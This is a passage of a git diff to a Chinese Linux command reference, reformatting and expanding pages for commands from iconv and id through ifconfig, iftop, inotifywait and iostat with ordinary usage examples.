iconv -f encoding [-t encoding] [inputfile]...
```
-### 选项
+### 选项
-```
+```shell
-f encoding :把字符从encoding编码开始转换。
-t encoding :把字符转换到encoding编码。
-l :列出已知的编码字符集合
@@ -26,21 +26,20 @@ iconv -f encoding [-t encoding] [inputfile]...
-f和-t所能指定的合法字符在-l选项的命令里面都列出来了。
```
-### 实例
+### 实例
列出当前支持的字符编码:
-```
+```shell
iconv -l
```
将文件file1转码,转后文件输出到fil2中:
-```
+```shell
iconv file1 -f EUC-JP-MS -t UTF-8 -o file2
```
这里,没`-o`那么会输出到标准输出。
-
\ No newline at end of file
diff --git a/command/id.md b/command/id.md
index 567be5fa301..f19dde917b6 100644
--- a/command/id.md
+++ b/command/id.md
@@ -1,59 +1,71 @@
id
===
-
-显示用户的ID以及所属群组的ID
-## 补充说明
+打印真实以及有效的用户和所在组的信息
-**id命令** 可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID。id命令已经默认预装在大多数Linux系统中。要使用它,只需要在你的控制台输入id。不带选项输入id会显示如下。结果会使用活跃用户。
+## 概要
-当我们想知道某个用户的UID和GID时id命令是非常有用的。一些程序可能需要UID/GID来运行。id使我们更加容易地找出用户的UID以GID而不必在`/etc/group`文件中搜寻。如往常一样,你可以在控制台输入`man id`进入id的手册页来获取更多的详情。
+```shell
+id [OPTION]... [USER]...
+```
-### 语法
+## 主要用途
-```
-id [-gGnru]--[help][--version][用户名称]
-```
+- 没有选项时,打印指定用户ID信息。
-### 选项
+## 选项
+```shell
+-a 兼容性选项,没有实际作用。
+-Z, --context 只打印进程的安全上下文。
+-g, --group 只打印有效的组ID。
+-G, --groups 打印全部组ID。
+-u, --user 只打印有效的用户ID。
+-z, --zero 使用空字符代替默认的空格来分隔条目。
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
```
--g或--group 显示用户所属群组的ID。
--G或--groups 显示用户所属附加群组的ID。
--n或--name 显示用户,所属群组或附加群组的名称。
--r或--real 显示实际ID。
--u或--user 显示用户ID。
--help 显示帮助。
--version 显示版本信息。
+
+只有在使用 `-u` `-g` `-G` 选项中一到多个时,以下选项可以使用:
+```shell
+-n, --name 打印名称而不是数字。
+-r, --real 打印真实ID而不是有效ID。
```
-### 实例
+## 参数
+user(可选):可以为一到多个,默认为当前用户。
-```
+## 返回值
+
+返回0表示成功,返回非0值表示失败。
+
+## 例子
+
+```shell
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```
解释:用户root的UID号码 = 0,GID号码 = 0。用户root是下面组的成员:
-* root组GID号是:0
-* bin组GID号是:1
-* daemon组GID号是:2
-* sys组GID号是:3
-* adm组GID号是:4
-* disk组GID号是:6
-* wheel组GID号是:10
+* root组GID号是:0
+* bin组GID号是:1
+* daemon组GID号是:2
+* sys组GID号是:3
+* adm组GID号是:4
+* disk组GID号是:6
+* wheel组GID号是:10
打印用户名、UID 和该用户所属的所有组,要这么做,我们可以使用 -a 选项:
-```
+```shell
[root@localhost ~]# id -a
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```
输出所有不同的组ID ,有效的,真实的和补充的,我们可以使用 -G 选项来实现:
-```
+```shell
[root@localhost ~]# id -G
0 1 2 3 4 6 10
```
@@ -62,17 +74,22 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
只输出有效的组ID,通过使用 -g 选项来只输出有效组ID:
-```
+```shell
[root@localhost ~]# id -g
0
```
输出特定用户信息,我们可以输出特定的用户信息相关的UID和GID。只需要在id命令后跟上用户名:
-```
+```shell
[root@localhost ~]# id www
uid=500(www) gid=500(www) groups=500(www)
```
+### 注意
+
+1. 该命令可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID;一些程序可能需要UID/GID来运行。`id` 使我们更加容易地找出用户的UID以及GID,而不必在 `/etc/group` 文件中搜寻。
+
+2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 id`,`info coreutils 'id invocation'`。
+
-
\ No newline at end of file
diff --git a/command/ifcfg.md b/command/ifcfg.md
index 496e27c1b83..ff3ea49d340 100644
--- a/command/ifcfg.md
+++ b/command/ifcfg.md
@@ -1,21 +1,21 @@
ifcfg
===
-
+
置Linux中的网络接口参数
## 补充说明
**ifcfg命令** 是一个Bash脚本程序,用来设置Linux中的网络接口参数。
-### 语法
+### 语法
-```
+```shell
ifcfg(参数)
```
-### 参数
+### 参数
-```
+```shell
网络接口:指定要操作的网络接口;
add/del:添加或删除网络接口上的地址;
ip地址:指定IP地址和子网掩码;
@@ -23,4 +23,3 @@ Stop:停用指定的网络接口的IP地址。
```
-
\ No newline at end of file
diff --git a/command/ifconfig.md b/command/ifconfig.md
index 6803089550b..aedc24cf36a 100644
--- a/command/ifconfig.md
+++ b/command/ifconfig.md
@@ -7,15 +7,15 @@ ifconfig
**ifconfig命令** 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了。
-### 语法
+### 语法
-```
+```shell
ifconfig(参数)
```
-### 参数
+### 参数
-```
+```shell
add<地址>:设置网络设备IPv6的ip地址;
del<地址>:删除网络设备IPv6的IP地址;
down:关闭指定的网络设备;
@@ -36,11 +36,11 @@ IP地址:指定网络设备的IP地址;
网络设备:指定网络设备的名称。
```
-### 实例
+### 实例
**显示网络设备信息(激活状态的):**
-```
+```shell
[root@localhost ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:16:3E:00:1E:51
inet addr:10.160.7.81 Bcast:10.160.15.255 Mask:255.255.240.0
@@ -75,7 +75,7 @@ lo Link encap:Local Loopback
**启动关闭指定网卡:**
-```
+```shell
ifconfig eth0 up
ifconfig eth0 down
```
@@ -84,20 +84,20 @@ ifconfig eth0 down
**为网卡配置和删除IPv6地址:**
-```
+```shell
ifconfig eth0 add 33ffe:3240:800:1005::2/64 #为网卡eth0配置IPv6地址
ifconfig eth0 del 33ffe:3240:800:1005::2/64 #为网卡eth0删除IPv6地址
```
**用ifconfig修改MAC地址:**
-```
+```shell
ifconfig eth0 hw ether 00:AA:BB:CC:dd:EE
```
**配置IP地址:**
-```
+```shell
[root@localhost ~]# ifconfig eth0 192.168.2.10
[root@localhost ~]# ifconfig eth0 192.168.2.10 netmask 255.255.255.0
[root@localhost ~]# ifconfig eth0 192.168.2.10 netmask 255.255.255.0 broadcast 192.168.2.255
@@ -105,24 +105,24 @@ ifconfig eth0 hw ether 00:AA:BB:CC:dd:EE
**启用和关闭arp协议:**
-```
+```shell
ifconfig eth0 arp #开启网卡eth0 的arp协议
ifconfig eth0 -arp #关闭网卡eth0 的arp协议
```
**设置最大传输单元:**
-```
+```shell
ifconfig eth0 mtu 1500 #设置能通过的最大数据包大小为 1500 bytes
```
**其它实例**
-```bash
+```shell
ifconfig #处于激活状态的网络接口
ifconfig -a #所有配置的网络接口,不论其是否激活
ifconfig eth0 #显示eth0的网卡信息
```
-
+
diff --git a/command/ifdown.md b/command/ifdown.md
index ee83f1c5342..99ab86a7fe3 100644
--- a/command/ifdown.md
+++ b/command/ifdown.md
@@ -1,27 +1,26 @@
ifdown
===
-
+
禁用指定的网络接口
## 补充说明
**ifdown命令** 用于禁用指定的网络接口。
-### 语法
+### 语法
-```
+```shell
ifdown(参数)
```
-### 参数
+### 参数
网络接口:要禁用的网络接口。
-### 实例
+### 实例
-```
+```shell
ifdown eth0 #禁用eth0
```
-
\ No newline at end of file
diff --git a/command/ifstat.md b/command/ifstat.md
index 5174b76e1d6..5b4732e8214 100644
--- a/command/ifstat.md
+++ b/command/ifstat.md
@@ -7,16 +7,16 @@ ifstat
**ifstat命令** 就像iostat/vmstat描述其它的系统状况一样,是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装,需要自己下载源码包,重新编译安装,使用过程相对比较简单。
-### 下载
+### 下载
-```
+```shell
http://gael.roualland.free.fr/ifstat/ (官网)
wget http://gael.roualland.free.fr/ifstat/ifstat-1.1.tar.gz
```
-### 编译安装
+### 编译安装
-```
+```shell
tar -zxvf ifstat-1.1.tar.gz
cd ifstat-1.1
./configure
@@ -26,9 +26,9 @@ make install # 默认会安装到/usr/local/bin/目录中
注释:执行`which ifstat`输出`/usr/local/bin/ifstat`
-### 选项
+### 选项
-```
+```shell
-l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。
-a 监测能检测到的所有网络接口的状态信息。使用发现,比加上-l参数还多一个plip0的接口信息,搜索一下发现这是并口(网络设备中有一 个叫PLIP (Parallel Line Internet Protocol). 它提供了并口...)
-z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的
@@ -47,11 +47,11 @@ make install # 默认会安装到/usr/local/bin/目录中
-d 指定一个驱动来收集状态信息
```
-### 实例
+### 实例
默认使用
-```
+```shell
[root@localhost ifstat-1.1] #ifstat
eth0 eth1
KB/s in KB/s out KB/s in KB/s out
@@ -61,7 +61,7 @@ make install # 默认会安装到/usr/local/bin/目录中
默认ifstat不监控回环接口,显示的流量单位是KB。
-```
+```shell
[root@localhost ifstat-1.1]# ifstat -tT
time eth0 eth1 eth2 eth3 Total
HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out
@@ -74,7 +74,7 @@ HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in
监控所有网络接口
-```
+```shell
[root@localhost ifstat-1.1] # ifstat -a
lo eth0 eth1
KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out
@@ -83,4 +83,4 @@ HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in
0.61 0.61 0.26 0.23 0.00 0.00
```
-
+
diff --git a/command/iftop.md b/command/iftop.md
index d1fb935a53c..0449a3eccbf 100644
--- a/command/iftop.md
+++ b/command/iftop.md
@@ -7,49 +7,47 @@ iftop
**iftop命令** 是一款实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行。
-### 语法
+### 语法
-```
+```shell
iftop(选项)
```
-### 选项
+### 选项
-```
-iftop: display bandwidth usage on an interface by host
+```shell
+iftop: 按主机显示接口带宽使用情况
-Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code]
+参数: iftop -h | [-npblNBP] [-i interface] [-f filter code]
[-F net/mask] [-G net6/mask6]
- -h display this message
- -n don't do hostname lookups
- -N don't convert port numbers to services
- -p run in promiscuous mode (show traffic between other
- hosts on the same network segment)
- -b don't display a bar graph of traffic
- -B Display bandwidth in bytes
- -i interface listen on named interface
+ -h 显示帮助信息
+ -n 不要讲ip转为主机名
+ -N 不要将端口转为对应服务名
+ -p 以混杂模式运行(显示同一网段内其他主机之间的流量)
+ -b 不要展示流量通行条形图
+ -B 使用Byte展示流量情况(默认展示的bit)
+ -i interface 指定需要监听的网络端口 -i eth0
-f filter code use filter code to select packets to count
(default: none, but only IP packets are counted)
- -F net/mask show traffic flows in/out of IPv4 network
- -G net6/mask6 show traffic flows in/out of IPv6 network
- -l display and count link-local IPv6 traffic (default: off)
- -P show ports as well as hosts
- -m limit sets the upper limit for the bandwidth scale
- -c config file specifies an alternative configuration file
- -t use text interface without ncurses
+ -F net/mask 展示指定IPV4网络的流量,参数可以是主机名/IP/掩码
+ -G net6/mask6 展示指定IPV6网络的流量,参数可以是主机名/IP/掩码
+ -l 展示本地网络/回环网络/ipv6流量 (默认值: 关闭)
+ -P 展示主机端口
+ -m limit 设置带宽规模的上限
+ -c config file 指定可选配置文件
+ -t 使用文本模式展示
Sorting orders:
- -o 2s Sort by first column (2s traffic average)
- -o 10s Sort by second column (10s traffic average) [default]
- -o 40s Sort by third column (40s traffic average)
- -o source Sort by source address
- -o destination Sort by destination address
+ -o 2s 按照第一列进行排序 (每2秒的平均值为一个计数周期)
+ -o 10s 按照第二列进行排序 (每10秒的平均值为一个计数周期]
+ -o 40s 按照第三列进行排序 (每40秒的平均值为一个计数周期)
+ -o source 按照原地址继续排序
+ -o destination 按照目标地址进行排序
- The following options are only available in combination with -t
- -s num print one single text output afer num seconds, then quit
- -L num number of lines to print
-
+ 以下选项仅在与 -t
+ -s num 在num秒后打印一个文本输出,然后退出
+ -L num 打印的行数
```
### 界面说明
@@ -61,11 +59,9 @@ Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code]
> 最后三行表示发送,接收和全部的流量,
> 第二列为你运行iftop到目前流量,第三列为高峰值,第四列为平均值。
-### 实例
+### 实例
-
-
-```bash
+```shell
iftop # 默认是监控第一块网卡的流量
iftop -i eth1 # 监控eth1
iftop -n # 直接显示IP, 不进行DNS反解析
@@ -74,4 +70,4 @@ iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0 # 显示某个网段进出
```
-
+
diff --git a/command/ifup.md b/command/ifup.md
index beac7352600..e8776f7d2fe 100644
--- a/command/ifup.md
+++ b/command/ifup.md
@@ -1,27 +1,26 @@
ifup
===
-
+
激活指定的网络接口
## 补充说明
**ifup命令** 用于激活指定的网络接口。
-### 语法
+### 语法
-```
+```shell
ifup(参数)
```
-### 参数
+### 参数
网络接口:要激活的网络接口。
-### 实例
+### 实例
-```
+```shell
ifup eth0 #激活eth0
```
-
\ No newline at end of file
diff --git a/command/indent.md b/command/indent.md
index df93f3f8cf1..d83051551de 100644
--- a/command/indent.md
+++ b/command/indent.md
@@ -1,23 +1,23 @@
indent
===
-
+
格式化C语言的源文件
## 补充说明
**indent命令** 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。
-### 语法
+### 语法
-```
+```shell
indent(选项)(源文件)
或
indent(选项)(源文件)(-o 目标文件)
```
-### 选项
+### 选项
-```
+```shell
-bad:在声明区加上空白行;
-bap:添加空白行;
-bbb:在注释后面添加空白行;
@@ -73,15 +73,14 @@ indent(选项)(源文件)(-o 目标文件)
--version:显示版本信息。
```
-### 实例
+### 实例
使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令:
-```
+```shell
indent -bs /home/rootlocal/桌面/test.c
```
执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。
-
\ No newline at end of file
diff --git a/command/info.md b/command/info.md
index 21bd5d7e2ec..0224e9b7f4f 100644
--- a/command/info.md
+++ b/command/info.md
@@ -1,6 +1,6 @@
info
===
-
+
Linux下info格式的帮助指令
## 补充说明
@@ -9,36 +9,36 @@ Linux下info格式的帮助指令
就内容来说,info页面比man page编写得要更好、更容易理解,也更友好,但man page使用起来确实要更容易得多。一个man page只有一页,而info页面几乎总是将它们的内容组织成多个区段(称为节点),每个区段也可能包含子区段(称为子节点)。理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航,还要学习如何在节点和子节点之间切换。可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西,真是具有讽刺意味:原本以为对于新手来说,某个东西比man命令会更好些,但实际上学习和使用起来更困难。
-### 语法
+### 语法
-```
+```shell
info(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d:添加包含info格式帮助文档的目录;
-f:指定要读取的info格式的帮助文档;
-n:指定首先访问的info帮助文件的节点;
-o:输出被选择的节点内容到指定文件。
```
-### 参数
+### 参数
帮助主题:指定需要获得帮助的主题,可以是指令、函数以及配置文件。
-### 实例
+### 实例
在info后面输入命令的名称就可以查看该命令的info帮助文档了:
-```
+```shell
info info
```
面介绍一下它的几个常用快捷键。
-```
+```shell
**?键:** 它就会显示info的常用快捷键。
**N键:** 显示(相对于本节点的)下一节点的文档内容。
**P键:** 显示(相对于本节点的)前一节点的文档内容。
@@ -51,9 +51,9 @@ info info
**Q:** 退出info。
```
- **命令**
+**命令**
-```
+```shell
**?** 显示帮助窗口
在帮助窗口中:
@@ -72,11 +72,10 @@ info info
**Del 键** 上一页(PageUp 也可以,上一页从当前页的开始两行开始算起)
上一个 Node (若当前页 Node 文档的开始)
- **b 或 t 或 Home** 文档的开始(b 是 begining 的意思)
+ **b 或 t 或 Home** 文档的开始(b 是 beginning 的意思)
**e 或 End** 文档的末尾(b 是 ending 的意思)
**Ctrl-l** 刷新当前页,若当前文档显示情况有问题时
**Ctrl-g** 取消所键入的指令
```
-
\ No newline at end of file
diff --git a/command/init.md b/command/init.md
index 5a3a96541f0..14a0cabcb08 100644
--- a/command/init.md
+++ b/command/init.md
@@ -1,30 +1,30 @@
init
===
-
+
init进程是所有Linux进程的父进程
## 补充说明
**init命令** 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程。
-### 语法
+### 语法
-```
+```shell
init(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b:不执行相关脚本而直接进入单用户模式;
-s:切换到单用户模式。
```
-### 参数
+### 参数
运行等级:指定Linux系统要切换到的运行等级。
-### 实例
+### 实例
几个常用的命令
@@ -36,7 +36,7 @@ init(选项)(参数)
到底什么是运行级呢?简单的说,运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在`/etc/inittab`中查看它的英文介绍。
-```
+```shell
#0 停机(千万不能把initdefault 设置为0)
#1 单用户模式
#2 多用户,没有 NFS(和级别3相似,会停止部分服务)
@@ -47,4 +47,3 @@ init(选项)(参数)
```
-
\ No newline at end of file
diff --git a/command/inotifywait.md b/command/inotifywait.md
index 8641fc00864..0592c2c7435 100644
--- a/command/inotifywait.md
+++ b/command/inotifywait.md
@@ -1,6 +1,6 @@
inotifywait
===
-
+
异步文件系统监控机制
## 补充说明
@@ -18,21 +18,20 @@ inotifywait
使用`ll /proc/sys/fs/inotify`命令,是否有以下三条信息输出,如果没有表示不支持。
-```
+```shell
ll /proc/sys/fs/inotify
total 0
-rw-r--r-- 1 root root 0 Jan 4 15:41 max_queued_events
-rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_instances
-rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_watches
-
```
-### 安装inotify-tools
+### 安装inotify-tools
* inotify-tools项目地址:https://github.com/rvoicilas/inotify-tools
* inotify-tools下载地址:http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz
-```
+```shell
#CentOS release 5.8/64位:
tar zxvf inotify-tools-3.14.tar.gz
cd inotify-tools-3.14
@@ -43,7 +42,7 @@ make install
其他Linux发行版安装方法可以参见:https://github.com/rvoicilas/inotify-tools/wiki#wiki-getting
-### inotify相关参数
+### inotify相关参数
inotify定义了下列的接口参数,可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数,因此,可以根据应用需求,实时的调节其大小:
@@ -53,26 +52,26 @@ inotify定义了下列的接口参数,可以用来限制inotify消耗kernel me
根据以上在32位或者64位系统都可以执行:
-```
+```shell
echo 104857600 > /proc/sys/fs/inotify/max_user_watches
echo 'echo 104857600 > /proc/sys/fs/inotify/max_user_watches' >> /etc/rc.local
```
如果遇到以下错误:
-```
+```shell
inotifywait: error while loading shared libraries: libinotifytools.so.0: cannot open shared object file: No such file or directory
```
-```
+```shell
**解决方法:**
32位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib/libinotifytools.so.0
64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0
```
-### inotifywait命令使用
+### inotifywait命令使用
-```
+```shell
#!/bin/bash
#filename watchdir.sh
path=$1
@@ -96,99 +95,27 @@ path=$1
04/01/13/16:35 /data/wsdata/tools/ j.jsp
04/01/13/16:35 /data/wsdata/tools/ j.jsp~
04/01/13/16:35 /data/wsdata/tools/ .j.jsp.swp
-
```
-### inotifywait命令参数
-
-* `-m`是要持续监视变化。
-* `-r`使用递归形式监视目录。
-* `-q`减少冗余信息,只打印出需要的信息。
-* `-e`指定要监视的事件列表。
-* `--timefmt`是指定时间的输出格式。
-* `--format`指定文件变化的详细信息。
-
-#### 可监听的事件
-
-
-
-
-
-
-
-事件
-
-描述
-
-
-
-
-
-access
-
- **访问** ,读取文件。
-
-
-
-
-
-modify
-
- **修改** ,文件内容被修改。
-
-
-
-
-
-attrib
-
- **属性** ,文件元数据被修改。
-
-
-
-
-
-move
-
- **移动** ,对文件进行移动操作。
-
-
-
-
-
-create
-
- **创建** ,生成新文件
-
-
-
-
-
-open
-
- **打开** ,对文件进行打开操作。
-
-
-
-
-
-close
-
- **关闭** ,对文件进行关闭操作。
-
-
-
-
-
-delete
-
- **删除** ,文件被删除。
-
-
+### inotifywait命令参数
-
+* `-m`是要持续监视变化。
+* `-r`使用递归形式监视目录。
+* `-q`减少冗余信息,只打印出需要的信息。
+* `-e`指定要监视的事件列表。
+* `--timefmt`是指定时间的输出格式。
+* `--format`指定文件变化的详细信息。
-
+### 可监听的事件
+事件 | 描述
+--- | ---
+access | **访问** ,读取文件。
+modify | **修改** ,文件内容被修改。
+attrib | **属性** ,文件元数据被修改。
+move | **移动** ,对文件进行移动操作。
+create | **创建** ,生成新文件
+open | **打开** ,对文件进行打开操作。
+close | **关闭** ,对文件进行关闭操作。
+delete | **删除** ,文件被删除。
-
\ No newline at end of file
diff --git a/command/insmod.md b/command/insmod.md
index 0af2924f7b3..b00addbe696 100644
--- a/command/insmod.md
+++ b/command/insmod.md
@@ -1,21 +1,21 @@
insmod
===
-
+
将给定的模块加载到内核中
## 补充说明
**insmod命令** 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序。
-### 语法
+### 语法
-```
+```shell
insmod(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入;
-k:将模块设置为自动卸除;
-m:输出模块的载入信息;
@@ -27,15 +27,15 @@ insmod(选项)(参数)
-X:汇出模块所有的外部符号,此为预设置。
```
-### 参数
+### 参数
内核模块:指定要加载的内核模块文件。
-### 实例
+### 实例
加载RAID1阵列级别模块,如下所示:
-```
+```shell
[root@localhost boot]# insmod /lib/modules/2.6.
18-8.el5/kernel/drivers/md/raid1.ko
@@ -46,4 +46,3 @@ raid1 25153 0
从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。
-
\ No newline at end of file
diff --git a/command/install.md b/command/install.md
index e981050a777..f06c969a0f4 100644
--- a/command/install.md
+++ b/command/install.md
@@ -1,15 +1,15 @@
install
===
-
+
安装或升级软件或备份数据
## 补充说明
**install命令** 的作用是安装或升级软件或备份数据,它的使用权限是所有用户。install命令和cp命令类似,都可以将文件/目录拷贝到指定的地点。但是,install允许你控制目标文件的属性。install通常用于程序的makefile,使用它来将程序拷贝到目标(安装)目录。
-### 语法
+### 语法
-```
+```shell
install [OPTION]... [-T] SOURCE DEST
install [OPTION]... SOURCE... DIRECTORY
install [OPTION]... -t DIRECTORY SOURCE...
@@ -18,9 +18,9 @@ install [OPTION]... -d DIRECTORY...
在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。
-### 选项
+### 选项
-```
+```shell
--backup[=CONTROL]:为每个已存在的目的地文件进行备份。
-b:类似 --backup,但不接受任何参数。
-c:(此选项不作处理)。
@@ -37,21 +37,21 @@ install [OPTION]... -d DIRECTORY...
--version:显示版本信息并离开。
```
-### 实例
+### 实例
-```
+```shell
install -d [option] DIRECTORY [DIRECTORY...]
```
支持多个,类似`mkdir -p`支持递归。例如:`install -d a/b/c e/f`结果和`mkdir -p a/b/c e/f`一样。
-```
+```shell
install [option] SOURCE DEST
```
**复制SOURCE文件(测试不能是目录)到DEST file(文件):**
-```
+```shell
install a/e c
结果类似:
cp a/e c #注意c必须是文件。
@@ -59,23 +59,22 @@ cp a/e c #注意c必须是文件。
**有用选项`-D`:**
-```
+```shell
install -D x a/b/c
效果类似:
mkdir -p a/b && cp x a/b/c
```
-```
+```shell
install [option] SOURCE [SOURCE...] DIRECTORY
```
**复制多个SOURCE文件到目的目录:**
-```
+```shell
install a/* d
```
其中d是目录。
-
\ No newline at end of file
diff --git a/command/iostat.md b/command/iostat.md
index 3d5683ebccf..b90088c5248 100644
--- a/command/iostat.md
+++ b/command/iostat.md
@@ -1,185 +1,184 @@
iostat
===
-
+
监视系统输入输出设备和CPU的使用情况
## 补充说明
**iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。
-### 语法
+iowait 指在一个采样周期内有百分之几的时间是属于以下情况:CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。
-```
-iostat(选项)(参数)
-```
+## 安装 iostat
-### 选项
+iostat包含在**sysstat**包内。如果你没有,你首先需要安装它。
+在 RedHat / CentOS / Fedora
+```bash
+yum install sysstat
```
--c:仅显示CPU使用情况;
--d:仅显示设备利用率;
--k:显示状态以千字节每秒为单位,而不使用块每秒;
--m:显示状态以兆字节每秒为单位;
--p:仅显示块设备和所有被使用的其他分区的状态;
--t:显示每个报告产生时的时间;
--V:显示版号并退出;
--x:显示扩展状态。
-```
-
-### 参数
-* 间隔时间:每次报告的间隔时间(秒);
-* 次数:显示报告的次数。
+在 Debian / Ubuntu / Linux Mint
-### 实例
-
-用`iostat -x /dev/sda1`来观看磁盘I/O的详细情况:
-
-```
-iostat -x /dev/sda1
-Linux 2.6.18-164.el5xen (localhost.localdomain)
-2010年03月26日
-
-avg-cpu: %user %nice %system %iowait
-%steal %idle
- 0.11 0.02 0.18 0.35
-0.03 99.31
-
-Device: tps Blk_read/s Blk_wrtn/s
-Blk_read Blk_wrtn
-sda1 0.02 0.08
-0.00 2014 4
+```bash
+sudo apt-get install sysstat
```
-详细说明:第二行是系统信息和监测时间,第三行和第四行显示CPU使用情况(具体内容和mpstat命令相同)。这里主要关注后面I/O输出的信息,如下所示:
-
-
-
-
-
-
-
-标示
-
-说明
-
-
-
-
-
-Device
-
-监测设备名称
-
-
-
-
-
-rrqm/s
-
-每秒需要读取需求的数量
-
-
-
-
+## 语法
-wrqm/s
-
-每秒需要写入需求的数量
-
-
-
-
-
-r/s
-
-每秒实际读取需求的数量
-
-
-
-
-
-w/s
-
-每秒实际写入需求的数量
-
-
-
-
-
-rsec/s
-
-每秒读取区段的数量
-
-
-
-
-
-wsec/s
+```bash
+iostat(选项)(参数)
+```
-每秒写入区段的数量
+### 选项
-
+```bash
+# iostat --help
+Usage: iostat [ options ] [ [ ] ]
+Options are:
+[ -c ] [ -d ] [ -h ] [ -k | -m ] [ -N ] [ -s ] [ -t ] [ -V ] [ -x ] [ -y ] [ -z ]
+[ -j { ID | LABEL | PATH | UUID | ... } ] [ --human ] [ -o JSON ]
+[ [ -H ] -g ] [ -p [ [,...] | ALL ] ]
+```
-
+参数说明:
+```
+-c 输出CPU统计信息。不能与-d参数同时使用。
+-d 输出设备和分区的I/O统计信息。不能与-c参数同时使用。(默认的参数是-d)。
+-h 让人类更容易阅读设备使用情况报告。--human使用此选项隐式启用。
+-k 用“kbytes/秒”代替“块/秒”显示统计信息。
+-m 用“mbytes/秒”代替“块/秒”显示统计信息。
+-t 打印显示的每份报告的时间。
+-V 显示版本号并退出。
+-x 显示扩展统计信息。不能与参数-p同时使用。
+-y 如果在给定时间间隔内显示多条记录,则省略自系统启动以来的第一份统计报告。
+-z 告诉 iostat 忽略在样本期间没有活动的设备的输出。
+-j 显示持久的设备名称。选项ID、LABEL等指定持久名称的类型。
+--human 以人类可读格式打印大小(例如1.0k, 1.2M等)。使用此选项显示的单位取代与度量相关的任何其他默认单位(例如千字节,扇区…)。
+-o 以JSON (Javascript Object Notation)格式显示统计数据。JSON输出字段顺序未定义,未来可能会添加新字段。
+-H 该选项必须与-g一起使用,表示只显示组的全局统计信息,而不显示组中单个设备的统计信息。
+-p 选项显示系统使用的块设备及其所有分区的统计信息。如果在命令行中输入一个设备名,那么将显示该设备及其所有分区的统计信息。最后,ALL关键字表示必须显示系统定义的所有块设备和分区的统计信息,包括那些从未使用过的设备和分区。如果在此选项之前定义了选项-j,则可以使用所选的持久名称类型指定在命令行上输入的设备。
+```
-rkB/s
+### 参数
-每秒实际读取的大小,单位为KB
+interval 刷新时间间隔
+count 刷新次数
-
+## 运行示例
-
+### 示例1
-wkB/s
+```bash
+# iostat
+Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU)
-每秒实际写入的大小,单位为KB
+avg-cpu: %user %nice %system %iowait %steal %idle
+ 3.30 0.01 1.90 0.12 0.00 94.68
-
+Device tps kB_read/s kB_wrtn/s kB_read kB_wrtn
+vda 7.85 84.22 36.59 1081853831 470049100
-
+```
-avgrq-sz
+第一部分包含了CPU报告
-需求的平均大小区段
+| 性能指标 | 含义 |
+| --- | --- |
+| %user | 显示在用户级(应用程序)执行时发生的CPU利用率百分比。 |
+| %nice | 显示在具有nice优先级的用户级别执行时发生的CPU利用率百分比。 |
+| %system | 显示在系统级(内核)执行时发生的CPU利用率百分比。 |
